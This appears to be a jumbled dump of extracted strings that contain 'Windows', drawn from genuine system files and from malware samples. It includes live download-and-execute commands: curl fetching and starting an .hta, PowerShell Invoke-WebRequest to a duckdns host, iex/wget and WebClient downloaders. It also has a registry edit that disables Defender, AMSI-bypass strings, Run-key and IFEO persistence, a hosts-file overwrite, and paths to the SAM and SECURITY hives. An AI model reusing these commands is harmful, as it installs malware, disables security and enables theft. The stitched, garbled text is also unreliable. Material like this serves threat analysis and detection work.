Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
C:\__w\1\s\Output\Packages\Microsoft.Windows.TestInProduction.2.1.48\inc\tip\tson_to_json.h
Sc:\windows\
Microsoft Windows
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local brow
c:\windows\system32\drivers\
Windows\System32\config\SAMW
Windows\System32\config\SECURITYW
Windows\System32\config\SYSTEMW
Microsoft Windows
WindowsCreateString
WindowsDeleteString
windows.hlp
c..\windows\system32\cmd.exe#/cstartrundll32.exeb4ramo.dll,#1!%systemroot%
..\windows\system32\cmd.exe#/cstartrundll32.exepg5rto.dll,#1!%systemroot%
sphkcu:\software\microsoft\windows\currentversion\runwindowapplication1
C:\__w\1\s\packages\ExperienceExtensions\windows\WinRTComponents\lib\OneDriveProvider.cpp
C:\__w\1\s\packages\ExperienceExtensions\windows\WinRTComponents\lib\RegistryKey.cpp
C:\__w\1\s\packages\ExperienceExtensions\windows\Common\RegistryHelpers.h
C:\__w\1\s\packages\ExperienceExtensions\windows\WinRTComponents\lib\ViewHostHelper.cpp
e@fskun.7[cmd.exej-i9vc:\windows\syswow64\cmd.exe..\..\windows\syswow64\cmd.exe/q/camended\concavity.cmdc:\windows\syswow64\write.exe%systemroot%
@fskukg.4icmd.exej-i<c:\windows\system32\cmd.exe/csandalwood\annotates.cmdc:\windows\system32\write.exe%systemroot%\system32\write.exe%systemroot%
.jpg&&call%windir%\system32\%r1%r32%temp%\
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Desktop.TextInput.TextServiceFramework
Microsoft.Windows.Desktop.TextInput.ThreadInputManager
Microsoft.Windows.Desktop.TextInput.TabNavigation
Microsoft.Windows.Desktop.Shell.InputDll
Microsoft.Windows.Desktop.TextInput.MsCtfIme
Microsoft.Windows.Shell.ShellHandwriting
WINDOWS\system32\cmd.exr
USERDOMAIN_ROAMINGPROFILE=Windows1B
DriverData=C:\Windows\System32\
WINDOWS\s
Windows_Forms_Books.CCCC.resourcesW
s_IsWindows8OrAbove
System.Runtime.InteropServices.WindowsRuntime.IBindableVector.get_Size
Windows Media Player Legacy.lnk
Windows
Windows
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windows update runner
regexp.(*Regexp).MatchStringregexp.(*Regexp).doMatch(^|\W)(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}($|\W)windows.CreateMutex
Dc:\windows\system32\cmd.exe/cmode15,1&curlhttps://digitalmarketingstart.com/photo/photostartgoupdatephotoviwergostart.jpg-o%appdata%\startgovffghjfkjhftfdghjf.hta&start/b%appdata%\startgovffghjfkjhftfdghjf.hta
;c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanacgakabtacgacwboahqayqagacgakaaoacgaaaaoac.
windows.hlp`
talingskortinformasjon. Angi Windows-passordet for 
 vise passord. Angi Windows-passordet ditt for 
 kopiere passord. Skriv inn Windows-passordet for 
 redigere passord. Skriv inn Windows-passordet for 
 eksportere passordene. Angi Windows-passordet ditt for 
 importere passord. Angi Windows-passordet ditt for 
yet for passordstyring. Skriv inn Windows-passordet for 
 erstatte eksisterende passord. Skriv inn Windows-passordet for 
 nytt.Microsoft Copilot krever Windows 10 eller nyere.Det oppstod en operativsystemfeil under installasjonen. Last ned Microsoft Copilot p
Set objShell = CreateObject("WScript.Shell")strDirectory = objShell.ExpandEnvironmentStrings(" % temp % ")dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")dim bStrm: Set bStrm = createobject("Adodb.Stream")objShell.RegWrite "HKCUControl PanelDesktopWallpaper", strDirectory + objShell.Run " % windir % System32RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters", 1, Truenetstat -ano > nul 2>&1
$C:\Windows\Microsoft.NET\Framework\v4.0.30319\thedevilcoder.exeC
bypasswindowsdefenderappn)rramsirlpcwstrpointerhandleamsiinitializeargtypesamsiuninitializebyref
\software\policies\microsoft\windowsdefender"/v"disableantivirus"/treg_dword/d"1"/f
*|%systemroot%\system32\smss.exe.<0x10000>
\microsoft\windows\start menu\programs\discord\
Z..\windows\system32\msiexec.exec:\windows\system32
"%systemroot%\explorer.exe%wn]nd.q`xdesktop-bl8ccul)@zfx"ck:qem)@zfx"ck:qemay1sps0cgsf"=dsystem32(c:\windows)
msiexec.exe@i)aplicativo@m1spsjc(=oqc:\windows\system32\msiexec.exe91spsmdphh@.=xhh=ikuop
\\.\root\Microsoft\Windows\DeviceGuard:__Win32Provider.Name="Win32_DeviceGuard"
^mozilla/5.0 (windows nt 6.1; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/73.0.3683.86 safari/537.36m
C:\Windows\system32\CODAF6C
C:\Windows\system32\CODEJOC
C:\Windows\system32\CODD25C
windowserrorreporting
setobjshell=createobject("wscript.shell")objshell.run"powershell.exe-windowstylehidden-commandinvoke-webrequest-uri'http://2seguro2025.duckdns.org/sostener2.vbs'-outfile'c:\users\public\script.vbs';
https://account.activedirectory.windowsazure.com/.O@
Microsoft.Windows.CapturePickerCN="
c:\programdata\microsoft\windows\menu start)
/k regwrite hkcu\software\microsoft\windows\currentversion\run\18.exe
Windows OS is earlier than Vista; driver exiting.
VmrdFileRelocateWindowsFile
WindowsUdk.UI.StartScreen.Implementation
EnumWindows
Microsoft.Windows.FileSystem.CimFS
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Desktop.Shell.Authentication.AuthUI
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.SlideToShutdownProvider
Microsoft.Windows.Shell.CoCreateInstanceAsSystem
ExitWindowsEx
Microsoft.Windows.Socket.Afunix
Microsoft.Windows.TlgAggregateInternal
Microsoft-Windows-AFD
?setSynchronousWindowSystemEvents@QWindowSystemInterface@@SAX_N@Z
\windows\currentversion\runappshellsurrogater~
contents-search-windows.com/
$rot="c:\windows\system32\svchost.exe"
"user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x
Windows.Data.Input.File
Windows.
AS/API/WindowsCortanaPane/V2/WSBServiceWork`
%Microsoft Windows Production PCA 2011
 @https://global.notify.windows.com/v2/register/xplatform/device
(@https://bn2-df.notify.windows.com/v2/register/xplatform/device
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
124^com.microsoft.windows.extensions.xaml.applistbackup
com.microsoft.windows.extensions.xaml.applistbackup
125^com.microsoft.windows.extensionpackage
126^com.microsoft.windows.extensions.xaml
),this._rootViewModel.toggleProgressBar(!1),((h=n.isRSHEnabled)===null||h===void 0?void 0:h.call(n))&&((c=(p=this._rootViewModel).updateRecallOptInVisibility)===null||c===void 0?void 0:c.call(p)),(n.Host.useImprovedIndexingMessage()||(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.windowsSearchCatalogStatus))&&(this._partialQuery.queryToFetch?setTimeout(()=>{this._rootViewModel.updateIndexingNotificationVisibility()},0):setTimeout(()=>{this._rootViewModel.hideIndexingIncompleteNotification()},0))):this.haveDataSourcesWithProgressBarArrived()&&n.config.semanticSearchTimeout&&this._rootViewModel.toggleProgressBar(!1),this._HighPriDoneProcessing=v)}getAggregatorResult(n,t,i){let r=this.waitingForWebProvider();return this._aggregator.rank(t,i,this._extraSignalsMap,this._partialQuery,n,this._sequenceNumber,r,this._allDataSourcesArrived||this.getLatencyTimeout()>0&&this._bufferingTimer==null)}waitingForWebProvider(){return n.isBrowserOnline()&&["Web"].concat(this.getDependencies("Web")).some(t=>n.isDataSourceEnabled(t,this._partialQuery)&&!this._allProcessedDataSources[t])}addSuggestions(t,i,r,u){if(n.Host.isWSBRandomizationEnabled())for(let t of i)(n.isWebSuggestion(t)||t.type=="MB"||t.type=="SW")&&(t.secondaryIcon=null);let e=this._renderedThisSequenceNumber?this._rootViewModel.getCurrentTopResults():[],f=n.safeExecute(()=>this.getAggregatorResult(e,t,i),"getAggregatorResults",null);f||(f={topResults:e,suggestionsToAdd:i,suggestionsToRemove:[],groupOrder:[]});n.InstrumentationHelper.instrumentAggregatorCall(this._sequenceNumber);n.shouldShowDSBLayout(this._partialQuery)&&n.InstrumentationHelper.instrumentDSB();i=f.suggestionsToAdd;let o=f.suggestionsToRemove;for(let i of f.topResults)n.contains(t,i)&&!n.contains(e,i)&&o.push(i);if(u||i.length!=0||o.length!=0||!n.sequenceEqual(e,f.topResults)){let s=!this._renderedThisSequenceNumber;if(s&&(this._renderedThisSequenceNumber=!0,n.InstrumentationHelper.instrumentRenderingStarted(this._sequenceNumber)),n.config.useGroupTitleEdgeBS&&this._partialQuery&&!this._partialQuery.isSearchHomeZI&&i)for(let t of i)t&&(t.type=="ANAF"||t.type=="ANAH"||t.type=="ANAR"||t.type=="ANAT")&&(t.staticGroupType=n.GroupType.AnaheimDataQF);n.TweakDiagnostics===null||n.TweakDiagnostics===void 0?void 0:n.TweakDiagnostics.pushDiagnostics("onAddSuggestions",{aggregatorResult:f,suggestionsRenderingManager:{extraSignalsMap:this._extraSignalsMap,dataSourcesCompleted:this._dataSourcesCompleted}});let h=n.safeExecute(()=>this._rootViewModel.update(s,f.topResults,this._waitingForMoreResults,this._sequenceNumber,i,o,r,f.groupOrder,this._allDataSourcesArrived,this._extraSignalsMap),"rootViewModel.update",0,null,t=>{n&&n.fallbackToPrepopulatedBundle&&n.fallbackToPrepopulatedBundle(t)});h==0&&(this._processingStopped=!0,this.resetTimers())}}isAnaheimSuggestionDupeWithMRU(t,i){if(i.type=="ANAH"||i.type=="ANAR"){let r=i;if(n.isBingSearchUrl(r.url)){let i=n.extractQueryFromBingSearchUrl(r.url);if(i&&n.contains(t,i))return!0}}return!1}maxRankScoreOfDuplicatesSuggestions(t,i){var r,u;for(let f=0;f<i.length;++f){let e=i[f];if(n.isDocument(e===null||e===void 0?void 0:e.type)||n.isPhoto(e===null||e===void 0?void 0:e.type)||n.isFolder(e===null||e===void 0?void 0:e.type)){let o=t.filter(t=>n.isDuplicateDocument(e,t));for(let t of o)!n.isNullOrUndefined((r=t===null||t===void 0?void 0:t.deviceItem)===null||r===void 0?void 0:r.rankScore)&&!n.isNullOrUndefined((u=e===null||e===void 0?void 0:e.deviceItem)===null||u===void 0?void 0:u.rankScore)&&t.deviceItem.rankScore>e.deviceItem.rankScore&&(i[f].maxRankScoreForLocalDevice=t.deviceItem.rankScore),(n.config.enableCopIFFExpPlan||n.config.mergeMultipleResouces)&&(t.isPolarisMatched?(i[f].isPolarisMatched=!0,i[f].indexerIntentFeature=!0):t.isVegaMatched&&(i[f].isVegaMatched=!0,i[f].indexerIntentFeature=!0))}}}removeDuplicatesAndAssignIds(t,i,r,u){var f;let o=n=>{var t,i;n.id||(n.id=n.path?n.path:n.type+n.text+((t=n.additionalInfoText)!==null&&t!==void 0?t:"")+(n.handoffType===17?(i=n.reactKey)!==null&&i!==void 0?i:"":""))},e=!1;if(u=="ANA"&&this._sug
DriverData=C:\Windows\System32\Drivers\DriverData
!#BRUTE:WindowsPowerShell
WindowsPowerShell
a%5CLocal%5CPackages%5CMicrosoftWindows.Client.CBS_cw5n1h2txyewy
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-CoreSystem-International-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-CoreSystem-International-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-DirectX-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-DirectX-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-CoreSystem-International-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-CoreSystem-International-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-DirectX-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-DirectX-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Embedded-KeyboardFilter-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|
windows
reactNativeWindowsVersion
Microsoft Windows
Windows_
Microsoft.Windows.Midi2.KSTransport
Microsoft.Windows.Midi2.MidiXproc
            If you want to change the Windows User Account Control level replace the 
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
WindowsCreateString
WindowsDeleteString
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
windowsdefender
windowsbackup
swindowsupdates
.?AU?$consume_Windows_UI_Xaml_Controls_IControl2@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIContentControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IContentControl@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIContentControl2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IContentControl2@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIToggleButton@Primitives@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_Primitives_IToggleButton@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIButtonBase@Primitives@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_Primitives_IButtonBase@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$producer_convert@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$implements@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIToggleButtonOverrides@Primitives@Controls@Xaml@UI@Windows@4@UIContentControlOverrides@89UI@Windows@4@UIControlOverrides@89UI@Windows@4@UIControlOverrides6@89UI@Windows@4@UIFrameworkElementOverrides@9UI@Windows@4@UIFrameworkElementOverrides2@9UI@Windows@4@UIUIElementOverrides@9UI@Windows@4@UIUIElementOverrides7@9UI@Windows@4@UIUIElementOverrides8@9UI@Windows@4@UIUIElementOverrides9@9UI@Windows@4@@winrt@@
.?AU?$producer@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt/Windows.Foundation.Collections.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt/Windows.Devices.Enumeration.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt/Windows.Foundation.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt/Windows.Data.Json.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.Data.Json.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.Foundation.Collections.h
c:\windows\system32
Microsoft.Windows.Graphics.GdiPlus
GetWindowsFont
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.get_accChildCount
System.Windows.Forms.UnsafeNativeMethods.IGridProvider.ColumnCount
System.Windows.Forms.UnsafeNativeMethods.IGridProvider.get_ColumnCount
System.Windows.Forms.UnsafeN
Me:\jinzq\stat.wamme.cnGameVersionUpdatesoftware\microsoft\windows\currentversion\policies\networkNoNetConnectDisc
windowsudk.shellcommon.dll
WindowsGetStringRawBuffer
MFIsWindowsStudioEffectAvailable
SLGetWindowsInformationDWORD
EnumWindows
WindowsCreateStringReference
WindowsDeleteString
WindowsCreateString
GetSystemWindowsDirectoryW
EnumWindows
windows\advcore\ctf\modernuimanager\sharedresources\uimanagerresources.cpp
Windows::Internal::Shell::InputSwitcher::XamlInputSwitchHost::hide
Windows::Internal::Shell::InputSwitcher::XamlInputSwitchHost::start_host
Windows::Internal::Shell::InputSwitcher::XamlInputSwitchHost::show_island
Windows::Internal::Shell::InputSwitcher::XamlInputSwitchHost::load_xaml_content
Windows::Internal::Shell::InputSwitcher::XamlInputSwitchHost::dispose
Windows::Internal::Shell::InputSwitcher::XamlInputSwitchHost::load_xaml_content::<lambda_9998f35a6bb568ae044f74a9c0388cdb>::operator ()
Microsoft.Windows.UDK.TaskbarLayout
Microsoft.Windows.Shell.SecondaryTilesForWebSites
Microsoft-Windows-Shell-Launcher
windowsudk.shellcommon.pdb
Microsoft.Windows.MediaFoundation.CodecAppSvc
Microsoft.Windows.MediaFoundation.CallStack
Microsoft.Windows.MediaFoundation.MFPlatform
Microsoft.Windows.Networking.DHCPv6
Microsoft.Windows.Midi2.KSAggregateTransport
Microsoft.Windows.ConnectionManager
Microsoft.Windows.Defender.Shield
\\.\root\Microsoft\Windows\DesiredStateConfiguration:__Win32Provider.Name="dsccore"
shellcommon\undockeddevkit\libs\windowsudk.ui.shell.shellviewcoordinator\objfre\amd64\windowsudk.ui.shell.ShellViewCoordinator.bamo.h
shellcommon\UndockedDevKit\libs\WindowsUdk.ApplicationModel.AppExtensions\XamlExtensions.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.input.text\inputmethodconversionindicator.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.startscreen\badgeprovider.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.input.text\inputprofileindicator.cpp
shellcommon\undockeddevkit\libs\windowsudk.system.userprofile\useronboardingmanager.cpp
shellcommon\undockeddevkit\libs\windowsudk.management.update\previewbuildsmanager.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.shell.shellviewcoordinator\bamoclient.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.shell.shellviewcoordinator\bamoserver.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.shell.taskbar\taskbarlayoutbamoclient.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.shell.taskbar\taskbarlayoutbamoserver.cpp
shellcommon\undockeddevkit\libs\windowsudk.applicationmodel.onscreeninput.candidatewindow\textinputcandidatecollection.cpp
Fshellcommon\undockeddevkit\libs\windowsudk.ui.shell.monitorinfo\displaymonitorinfocollectionserver.cpp
shellcommon\undockeddevkit\libs\windowsudk.applicationmodel.onscreeninput\converters.cpp
shellcommon\undockeddevkit\libs\windowsudkinternal.ui.startscreen\tileidinternal.cpp
#\windows live help\cssrss.exe\windows media player\
/temp/ss.comsoftware\microsoft\windows\currentversion\policies\systemxpprobt2009
:\windows\System32\
inteligencia artificial act:*:enabled:microsoft windows update platformwww.grupobci.com.br/sistema/banco santander brasil
\drivers\eta\cmd.exe/crenc:\windows\system32\drivers\etaetccmd.exe/ccopyc:\windows\system32\drivers\hostsc:\windows\system32\drivers\etc\hostscreating\temp.bat:repeat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsDuplicateString
MicrosoftWindowsShellNetworkUX
qc:\windows\system32\forfiles.exe/pc:\windows/mnotep*.exe/c"powershellstart-process\*i*\*2\msh*ehttps://ctu.timeless-tales.shop/api/uz/0912545164/charcoalwharf.json"
command="powershell-executionpolicybypass-noprofile-windowstylehidden-file"""&
/awautng.php','c:\windows\temp\scan.pdf.exe')
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden"iex'wgethttps://tinyurl.com/etp4e4cj-outfilep.zip;expand-archivep.zip;start.\p\3d.exe'"
powershell-noprofile-executionpolicybypass-windowstylehidden-command"(new-objectsystem.net.webclient).downloadfile('%url%','%filename%');start-process'%filename%'
Windows::Networking::UX::Internal::PackAndSendEapUIResponse::<lambda_63b911463e4914027fd6c0a5af30e76e>::operator ()
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsCreateString
WindowsDeleteString
WindowsDuplicateString
WindowsConcatString
C:\Windows\System32\gpupdate.exe
windowscoredeviceinfo.dll
\\$windows.~bt\\
\windows\softwaredistribution\
\harddiskvolume.?.?.?\windows
WindowsCreateString
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
UnhookWindowsHookEx
EnumChildWindows
SetWindowsHookExW
Windows.UI.Core.TextInput.DLL
2023344,"edition":48,"epoch":"800503","seq":41},"privacy":{"dataType":32088572553658445,"isRequired":false},"metadata":{"f":{"Count":4,"MinSmartLockerVerificationTime":4,"MaxSmartLockerVerificationTime":4,"MinDefenderVerificationTime":4,"MaxDefenderVerificationTime":4,"MinEventTime":4,"MaxEventTime":4,"EventVersion":2,"Status":2,"SACStatus":2,"SecureRequiredFlags":2,"GenericVerificationError":2,"FileVersion":5,"SACPolicyGuidID":8,"SACExternalAuthorizationFlags":2,"SACExternalAuthorizationUsed":2,"DefenderStatus":2,"DefenderCatDbFailure":2,"DefenderTrust":2,"DefenderTrustExpiryTime":4,"EAReplayFailureState":2,"CachedDefenderTrust":2,"CachedDefenderTrustExpiryTime":4,"DefenderClientStatusCode":2,"DefenderCloudHTTPCode":2,"DefenderEngineReportGUID":8,"DefenderShellExecutedStatus":2,"DefenderShellExecutedTrust":2,"DefenderShellExecutedClientStatusCode":2,"DefenderShellExecutedCloudHTTPCode":2,"DefenderShellExecutedEngineReportGUID":8,"DefenderTelemetryFlags":2,"OriginClaimSessionID":8,"OriginClaimSubSessionID":8,"CallingProcessOriginClaimSessionID":8,"CallingProcessOriginClaimSubSessionID":8,"FileSignatureInfo":{"a":{"f":{"VerificationError":2,"KnownRoot":2,"PolicyFlags":2,"ValidFrom":9,"ValidTo":9}}}},"privTags":32088572553658445,"policies":7},"os":{"bootId":8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A,ME:3667CA2,ME:3667CA7,ME:3667CAD,ME:38419AC,ME:3536BD9,MD:2FE0A31,MD:2FE0A40,MD:2FE0A4F,MD:37B239D,PD:3536CF8,PD:33CDA4D,MD:36AF640,MD:9999,CD:2601D"},"app":{"id":"W:0000da39a3ee5e6b4b0d3255bfef95601890afd80709!0000da39a3ee5e6b4b0d3255bfef95601890afd80709!","ver":"1970/01/01:00:00:00!0!","is1P":3,"asId":1},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, Inc.","devModel":"VMware20,1"},"user":{"localId":"w:DBFCEB78-2C59-FA53-8626-4ED67E8A4320"},"loc":{"tz":"+01:00"}},"data":{"Count":1,"MinSmartLockerVerificationTime":0,"MaxSmartLockerVerificationTime":0,"MinDefenderVerificationTime":0,"MaxDefenderVerificationTime":0,"MinEventTime":134163939765695985,"MaxEventTime":134163939765695985,"EventVersion":8,"EventType":"Allow","AllowedToLoad":true,"Status":0,"SACStatus":0,"SACBlockUIType":0,"NWDesktopEnabled":0,"NWDesktopEvalEnabled":1,"NWDesktopRegKeyState":2,"Options":6,"DeveloperOptions":3154931712,"FileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\PimIndexMaintenanceClient.dll","ShellExecutedFileName":"","ProcessName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","FlatSHA256Hash":[],"FileHash":[226,20,77,142,196,221,90,165,43,163,188,65,235,112,100,251,217,79,139,16],"SecureRequiredFlags":0,"RequestedSigningLevel":2,"GenericVerificationError":0,"SACPolicyOptions":2978817812,"OriginalFileName":"PimIndexMaintenanceClient.dll","InternalName":"PimIndexMaintenanceClient","FileDescription":"Client dll for Pim Index Maintenance","ProductName":"Microsoft
 Windows
&cmobj=software\microsoft\windows nt\currentversion\image file execution options\userinit.exe
